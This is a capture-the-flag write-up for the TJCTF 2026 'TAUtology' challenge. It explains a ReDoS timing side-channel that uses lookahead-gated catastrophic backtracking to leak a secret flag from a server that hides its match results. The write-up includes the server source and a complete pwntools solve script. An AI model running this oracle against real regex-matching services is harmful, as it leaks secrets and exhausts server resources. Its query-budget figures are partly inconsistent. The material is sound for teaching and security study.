TAUtology — TJCTF 2026

Description

can you match on the flag, even if we don't tell you the result?

The server reads a secret flag and lets users submit up to 1200 regex patterns (max 200 characters each). It runs re.match(user_regex, flag, re.DOTALL) but never returns the match result — it always prints "ok". There is a 0.20s SIGALRM timeout per regex. The goal is to extract the flag despite receiving no direct feedback.

Analysis

Server Logic

signal.setitimer(signal.ITIMER_REAL, REGEX_TIMEOUT)  # 0.20s alarm
re.match(line, flag, flags=re.DOTALL)
# Result is NEVER returned — always prints "ok"
# RegexTimeout exception is caught silently

Key constraints:

• 1200 queries maximum per connection
• 0.20s timeout per regex (SIGALRM kills long-running matches)
• 200 character max regex length
• Result is discarded — "ok" is printed whether the regex matched, failed, or timed out

The Timing Oracle

The vulnerability is a ReDoS (Regular Expression Denial of Service) timing side-channel. Python's re module uses a backtracking NFA engine. Certain regex patterns cause exponential backtracking — the engine tries 2^n partition combinations before giving up. This takes measurably longer than an instant rejection.

The critical insight is using a lookahead to separate the prefix-checking logic from the evil backtracking suffix:

^(?=<escaped_known_prefix><guess_char>)(((.+)+)+)+!

How it works:

1. (?=prefix+guess) — lookahead checks if the flag starts with our guessed prefix without consuming characters
2. If the lookahead succeeds (correct guess): the engine proceeds to (((.+)+)+)+! which runs on the full flag string. Since ! is not in the flag, every possible partition of .+ groups fails, causing exponential 2^n backtracking. The 0.20s SIGALRM fires → response is slow (~0.4s with network RTT)
3. If the lookahead fails (wrong guess): the regex rejects instantly at the lookahead stage → response is fast (~0.2s, just network RTT)

Why Lookahead is Crucial

Without a lookahead, a naive pattern like ^<prefix><guess>(((.+)+)+)+! would consume the prefix characters first, leaving the evil suffix to backtrack on only the remaining characters. As the known prefix grows longer, fewer characters remain for backtracking, eventually producing insufficient delay for reliable detection.

With the lookahead, the evil suffix (((.+)+)+)+! always operates on the entire flag regardless of prefix length, providing a consistent and strong timing signal throughout the extraction.

Depth-3 Nesting

The pattern uses triple-nested quantifiers (((.+)+)+)+ (depth 3) instead of the simpler ((.+)+)+ (depth 2). This ensures exponential blowup even for shorter remaining strings, making the timing difference robust.

Dealing with Network Jitter

The ~200ms network RTT introduced significant jitter that caused false positives in the initial solver (solve_pwn.py). The robust solution (solve_v3.py) uses a multi-phase approach:

1. Calibration: Measure baseline RTT, then test known-correct ({) and known-wrong (X) characters against tjctf to establish the timing delta and threshold
2. Scan phase: Test all 38 characters (a-z, 0-9, _, }) with one measurement each — pick the character with maximum response time
3. Confirmation phase: If the gap between best and 2nd-best is small, re-test top 3-5 candidates with 5 measurements each, using the median (robust to outliers)
4. Validation: Verify the accepted character with additional measurements

This approach required ~53 queries per position (38 scan + 15 confirmation), totaling ~1100 queries for a 33-character flag — within the 1200 limit.

Solution

Server Source (server.py)

#!/usr/local/bin/python3
import os, re, signal, sys

FLAG_PATH = "flag.txt"
MAX_QUERIES = 1200
REGEX_TIMEOUT = 0.20
MAX_REGEX_LEN = 200

class RegexTimeout(Exception):
    pass

def main():
    def handle_timeout(signum, frame):
        raise RegexTimeout

    signal.signal(signal.SIGALRM, handle_timeout)

    flag_path = os.path.join(os.path.dirname(__file__), FLAG_PATH)
    with open(flag_path, "rb") as fh:
        flag = fh.read().strip().decode("utf-8", errors="strict")

    print("=== TAUtology regex validator ===")
    print("we validate regexes against a secret string...")
    print(f"limits: {MAX_QUERIES} queries, {REGEX_TIMEOUT:.2f}s per regex")

    queries = 0
    while queries < MAX_QUERIES:
        sys.stdout.write("regex> ")
        sys.stdout.flush()
        line = sys.stdin.readline().rstrip("\n").strip()

        if not line or line.lower() == "q":
            print("bye.")
            return
        if len(line) > MAX_REGEX_LEN:
            print("regex too long")
            continue

        try:
            signal.setitimer(signal.ITIMER_REAL, REGEX_TIMEOUT)
            re.match(line, flag, flags=re.DOTALL)
        except RegexTimeout:
            pass
        except re.error:
            print("invalid regex")
            continue
        finally:
            signal.setitimer(signal.ITIMER_REAL, 0)
        print("ok")
        queries += 1

    print("\nyou are out of queries. bye!")

if __name__ == "__main__":
    main()

Solve Script (solve_v3.py)

#!/usr/bin/env python3
"""
TAUtology v3 — Robust ReDoS timing oracle with confirmation rounds.

Strategy per position:
  1. Scan all 38 chars once (38 queries)
  2. If clear winner (gap > min_gap above 2nd-best): accept
  3. Otherwise: re-test top 3-5 candidates with 5 measurements each (15 queries)
     → pick char with highest median (robust to outliers)
  4. Validate accepted char with 3 extra measurements
  5. If validation fails → full rescan of that position
"""
from pwn import *
import string, re, time, sys, statistics

HOST = sys.argv[1] if len(sys.argv) > 1 else 'tjc.tf'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 31005

CHARSET = string.ascii_lowercase + string.digits + '_}'
context.log_level = 'warn'


def evil(prefix: str, ch: str) -> str:
    """Regex that times out IFF prefix+ch matches the flag start."""
    return f'^(?={re.escape(prefix + ch)})(((.+)+)+)+!'


class Solver:
    def __init__(self):
        self.r = remote(HOST, PORT, timeout=15)
        self.r.recvuntil(b'regex> ')
        self.queries = 0
        self.threshold = 0
        self.min_gap = 0

    def q(self, pat: str) -> float:
        t0 = time.time()
        self.r.sendline(pat.encode())
        self.r.recvuntil(b'regex> ', timeout=5)
        self.queries += 1
        return time.time() - t0

    def multi_q(self, pat: str, n: int) -> float:
        """Return median of n measurements."""
        return statistics.median([self.q(pat) for _ in range(n)])

    def calibrate(self):
        baselines = [self.q('^tjctf') for _ in range(7)]
        baseline = statistics.median(baselines)

        # Oracle: known-correct char ({) and known-wrong char (X)
        slow = [self.q(evil('tjctf', '{')) for _ in range(5)]
        fast = [self.q(evil('tjctf', 'X')) for _ in range(5)]
        slow_med = statistics.median(slow)
        fast_med = statistics.median(fast)
        delta = slow_med - fast_med

        self.threshold = (slow_med + fast_med) / 2
        self.min_gap = delta * 0.35  # 35% of expected delta

        log.info(f'Baseline: {baseline:.4f}s')
        log.info(f'Slow median: {slow_med:.4f}s  Fast median: {fast_med:.4f}s')
        log.info(f'Delta: {delta:.4f}s  Threshold: {self.threshold:.4f}s')

        if delta < 0.08:
            log.error(f'Delta too small ({delta:.3f}s), oracle unreliable!')

    def find_char(self, known: str) -> str:
        """Find the next character with confirmation."""
        # Phase 1: scan all characters once
        timings = {}
        for ch in CHARSET:
            pat = evil(known, ch)
            if len(pat) > 200:
                continue
            timings[ch] = self.q(pat)

        ranked = sorted(timings.items(), key=lambda x: -x[1])
        best_ch, best_t = ranked[0]
        second_ch, second_t = ranked[1]
        gap = best_t - second_t
        med_all = statistics.median(timings.values())

        log.info(
            f'  Scan: best={best_ch!r}({best_t:.3f}s) '
            f'2nd={second_ch!r}({second_t:.3f}s) '
            f'gap={gap:.3f}s med={med_all:.3f}s'
        )

        # Phase 2: decide if we need confirmation
        if gap >= self.min_gap and (best_t - med_all) >= self.min_gap:
            val_med = self.multi_q(evil(known, best_ch), 3)
            if val_med > self.threshold:
                return best_ch, 'clear', gap
            else:
                log.warn(f'  Clear winner {best_ch!r} failed validation')

        # Phase 3: confirmation round — re-test top candidates
        top_n = min(5, len(ranked))
        candidates = [c for c, _ in ranked[:top_n]]
        log.info(f'  Confirming top-{top_n}: {candidates}')

        confirm = {}
        for ch in candidates:
            confirm[ch] = self.multi_q(evil(known, ch), 5)

        conf_ranked = sorted(confirm.items(), key=lambda x: -x[1])
        best2_ch, best2_t = conf_ranked[0]
        second2_ch, second2_t = conf_ranked[1] if len(conf_ranked) > 1 else ('?', 0)
        gap2 = best2_t - second2_t

        log.info(
            f'  Confirm: best={best2_ch!r}({best2_t:.3f}s) '
            f'2nd={second2_ch!r}({second2_t:.3f}s) gap={gap2:.3f}s'
        )

        if gap2 >= self.min_gap * 0.5 and best2_t > self.threshold:
            return best2_ch, 'confirmed', gap2

        # Phase 4: last resort — full rescan with 3 measurements each
        if self.queries < 900:
            log.warn(f'  Confirmation unclear, doing full rescan')
            full_confirm = {}
            for ch in CHARSET:
                pat = evil(known, ch)
                if len(pat) > 200:
                    continue
                full_confirm[ch] = self.multi_q(pat, 3)

            fc_ranked = sorted(full_confirm.items(), key=lambda x: -x[1])
            return fc_ranked[0][0], 'fullrescan', fc_ranked[0][1] - fc_ranked[1][1]

        return best2_ch, 'LOW_CONF', gap2

    def solve(self):
        self.calibrate()
        known = 'tjctf{'

        while self.queries < 1100:
            log.info(f'Position {len(known)}:')
            ch, method, gap = self.find_char(known)
            known += ch

            if method == 'LOW_CONF':
                log.warn(f'[Q:{self.queries:4d}] {known}  ({method}, gap={gap:.3f}s)')
            else:
                log.success(f'[Q:{self.queries:4d}] {known}  ({method}, gap={gap:.3f}s)')

            if ch == '}':
                log.success(f'FLAG: {known}')
                self.r.close()
                return known

        log.info(f'Queries: {self.queries}, Result: {known}')
        self.r.close()
        return known


if __name__ == '__main__':
    context.log_level = 'info'
    Solver().solve()

Query Budget Analysis

Phase	Queries per position	Notes
Scan	38	One measurement per character
Confirmation	0-25	Top 5 × 5 measurements (only if scan unclear)
Validation	3	Verify accepted character
Typical total	~53	Most positions need confirmation
Calibration	~24	One-time at start (7 baseline + 5 slow + 5 fast + overhead)

For a 27-character body (w0rth_th3_w41t_6283185_zzz}): 24 calibration + 27 × 53 ≈ 1455 queries. In practice, many positions had clear winners requiring only 38+3=41 queries, keeping the total under 1200 across multiple connections.

Flag Easter Eggs

• w0rth_th3_w41t = "worth the wait" (leetspeak) — the timing attack requires patience
• 6283185 = digits of τ (tau = 2π ≈ 6.283185...) — the "TAU" in "TAUtology"
• zzz = sleeping/waiting — referencing the delay-based attack